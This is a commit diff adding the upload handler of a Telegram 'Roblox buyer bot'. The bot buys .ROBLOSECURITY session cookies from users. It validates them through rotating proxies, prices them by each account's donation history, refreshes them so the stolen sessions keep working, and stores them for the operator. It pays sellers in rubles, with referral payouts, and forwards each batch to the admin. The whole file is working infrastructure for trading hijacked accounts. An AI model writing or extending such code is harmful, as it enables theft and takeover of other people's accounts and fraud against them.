Add modular Roblox buyer bot and documentation

This commit is contained in:
2026-07-20 06:24:45 +05:00
commit c9413efd6a
29 changed files with 2607 additions and 0 deletions
+233
View File
@@ -0,0 +1,233 @@
from __future__ import annotations
import asyncio
import random
import aiohttp
from aiogram import F, Router
from aiogram.filters import StateFilter
from aiogram.fsm.context import FSMContext
from aiogram.types import Message
from config import ADMIN_ID, COOKIE_FILES_DIR, FRESHER_BATCH_SIZE, ROBSEC_FILE
from db.storage import load_config, load_proxies, load_stats, save_stats
from db.users import get, register, save
from keyboards.user import back_kb, main_menu_kb
from models.pricing import CookieDonationInfo
from runtime import get_bot, get_log_bot
from services.admin import is_admin
from services.pricing import price_cookie_batch
from services.referrals import apply_referral_payout
from services.roblox import (
check_cookie_with_retry,
fresh_cookie_async,
get_all_time_donate,
get_year_donate,
)
from utils.logging import log_admin, log_admin_document
from utils.parsing import parse_cookies_text
router = Router(name="upload")
async def _blocked(message: Message) -> bool:
profile = get(message.from_user.id)
if profile is None:
register(message.from_user.id, message.from_user.username)
profile = get(message.from_user.id)
if profile.is_banned:
await message.answer(f"You are banned. Reason: {profile.ban_reason or '-'}")
return True
cfg = load_config()
if not cfg.bot_enabled and message.from_user.id != ADMIN_ID:
await message.answer("The bot is temporarily disabled.")
return True
if not cfg.shop_enabled and message.from_user.id != ADMIN_ID:
await message.answer("Cookie buying is temporarily disabled.")
return True
return False
@router.message(StateFilter(None), F.document)
async def handle_document(message: Message):
if is_admin(message.from_user.id):
await message.answer("Admin accounts cannot sell cookies. Use /admin.")
return
if await _blocked(message):
return
filename = message.document.file_name or ""
if not filename.lower().endswith(".txt"):
await message.answer("Send a .txt file.")
return
path = COOKIE_FILES_DIR / f"{message.from_user.id}_{random.randint(100000, 999999)}.txt"
try:
await message.bot.download(message.document, destination=path)
text = path.read_text(encoding="utf-8", errors="ignore")
finally:
path.unlink(missing_ok=True)
await process_cookies(message, text)
@router.message(StateFilter(None), F.text & ~F.text.startswith("/"))
async def handle_text(message: Message):
if is_admin(message.from_user.id):
await message.answer("Admin accounts cannot sell cookies. Use /admin.")
return
if await _blocked(message):
return
text = message.text or ""
if "_|WARNING:-DO-NOT-SHARE-THIS." not in text:
await message.answer("Use the menu below or send cookie text.", reply_markup=main_menu_kb())
return
await process_cookies(message, text)
async def process_cookies(message: Message, raw_text: str):
cookies, duplicates = parse_cookies_text(raw_text)
if not cookies:
await message.answer("No cookies were found in the submitted data.")
return
cfg = load_config()
proxies = load_proxies()
total = len(cookies)
progress = await message.answer(
f"<b>Processing cookies</b>\nTotal: {total}\nDuplicates removed: {duplicates}\nStage: validation...",
parse_mode="HTML",
)
valid = []
async with aiohttp.ClientSession() as session:
tasks = [check_cookie_with_retry(session, cookie, proxies) for cookie in cookies]
for index, task in enumerate(asyncio.as_completed(tasks), start=1):
try:
result = await task
if result.status == "valid":
valid.append(result)
except Exception:
pass
if index % 20 == 0 or index == total:
try:
await progress.edit_text(
f"<b>Validation</b>\nProgress: {index}/{total}\nValid: {len(valid)}",
parse_mode="HTML",
)
except Exception:
pass
if not valid:
await progress.edit_text(f"No valid cookies found. Duplicates: {duplicates}")
return
await progress.edit_text(f"<b>Checking donations</b>\nValid cookies: {len(valid)}", parse_mode="HTML")
donations = []
async with aiohttp.ClientSession() as session:
async def get_donation(result):
proxy = random.choice(proxies) if proxies else None
all_time = await get_all_time_donate(session, result.cookie, result.user_id, proxy)
year = await get_year_donate(result.cookie, result.user_id, proxy)
return CookieDonationInfo(
cookie=result.cookie,
user_id=result.user_id,
username=result.username,
all_time=all_time,
year=year,
)
donations = await asyncio.gather(*(get_donation(result) for result in valid))
priced, avg_used, avg_price = price_cookie_batch(donations, cfg)
if not priced:
await progress.edit_text(
f"No cookies matched the rates. Valid: {len(valid)}",
reply_markup=back_kb(),
)
return
await progress.edit_text(
f"<b>Refreshing cookies</b>\nPayable: {len(priced)}\nMethod: {'AVG' if avg_used else 'per-rate'}",
parse_mode="HTML",
)
fresh_ok = []
fresh_failed = 0
for offset in range(0, len(priced), FRESHER_BATCH_SIZE):
batch = priced[offset:offset + FRESHER_BATCH_SIZE]
async def refresh(item):
proxy = random.choice(proxies) if proxies else None
ok, refreshed = await fresh_cookie_async(item.cookie, proxy)
return item, ok, refreshed
for item, ok, refreshed in await asyncio.gather(*(refresh(item) for item in batch)):
if ok and isinstance(refreshed, str) and refreshed.startswith("_|WARNING"):
fresh_ok.append((item, refreshed))
else:
fresh_failed += 1
try:
await progress.edit_text(
f"<b>Refreshing cookies</b>\nProgress: {min(offset + len(batch), len(priced))}/{len(priced)}\n"
f"Refreshed: {len(fresh_ok)}\nFailed: {fresh_failed}",
parse_mode="HTML",
)
except Exception:
pass
if not fresh_ok:
await progress.edit_text(
f"No cookies could be refreshed. Valid: {len(valid)}, failed: {fresh_failed}",
reply_markup=back_kb(),
)
return
ROBSEC_FILE.parent.mkdir(parents=True, exist_ok=True)
with ROBSEC_FILE.open("a", encoding="utf-8") as output:
output.writelines(f"{cookie}\n" for _, cookie in fresh_ok)
user_file = COOKIE_FILES_DIR / f"robsec_{message.from_user.id}_{random.randint(100000, 999999)}.txt"
user_file.write_text("".join(f"{cookie}\n" for _, cookie in fresh_ok), encoding="utf-8")
payout = sum(item.price for item, _ in fresh_ok)
profile = get(message.from_user.id)
if profile is None:
register(message.from_user.id, message.from_user.username)
profile = get(message.from_user.id)
profile.balance += payout
profile.total_earned += payout
profile.cookies_loaded += len(fresh_ok)
save(profile.user_id, profile)
stats = load_stats()
stats.total_cookies += len(fresh_ok)
stats.total_paid_direct += payout
save_stats(stats)
bot = get_bot() or message.bot
await apply_referral_payout(bot, profile.user_id, profile.username, payout, cfg.referral_percent)
method = "AVG" if avg_used else "per-rate"
report = (
"<b>Processing complete</b>\n\n"
f"Total: {total}\nDuplicates: {duplicates}\nValid: {len(valid)}\n"
f"Payable: {len(priced)}\nRefreshed: {len(fresh_ok)}\nFailed refresh: {fresh_failed}\n"
f"Method: {method}\n"
)
if avg_used:
report += f"AVG price: {avg_price:.2f} RUB\n"
report += f"\nPayout: <b>{payout:.2f} RUB</b>\nBalance: <b>{profile.balance:.2f} RUB</b>"
await progress.edit_text(report, parse_mode="HTML", reply_markup=main_menu_kb())
await log_admin(
bot,
ADMIN_ID,
f"<b>Cookie purchase</b>\n@{profile.username or '-'} (<code>{profile.user_id}</code>)\n"
f"Total: {total}, valid: {len(valid)}, refreshed: {len(fresh_ok)}\nPayout: {payout:.2f} RUB",
get_log_bot(),
)
await log_admin_document(
bot,
ADMIN_ID,
str(user_file),
caption=f"robsec from <code>{profile.user_id}</code>",
log_bot=get_log_bot(),
)
user_file.unlink(missing_ok=True)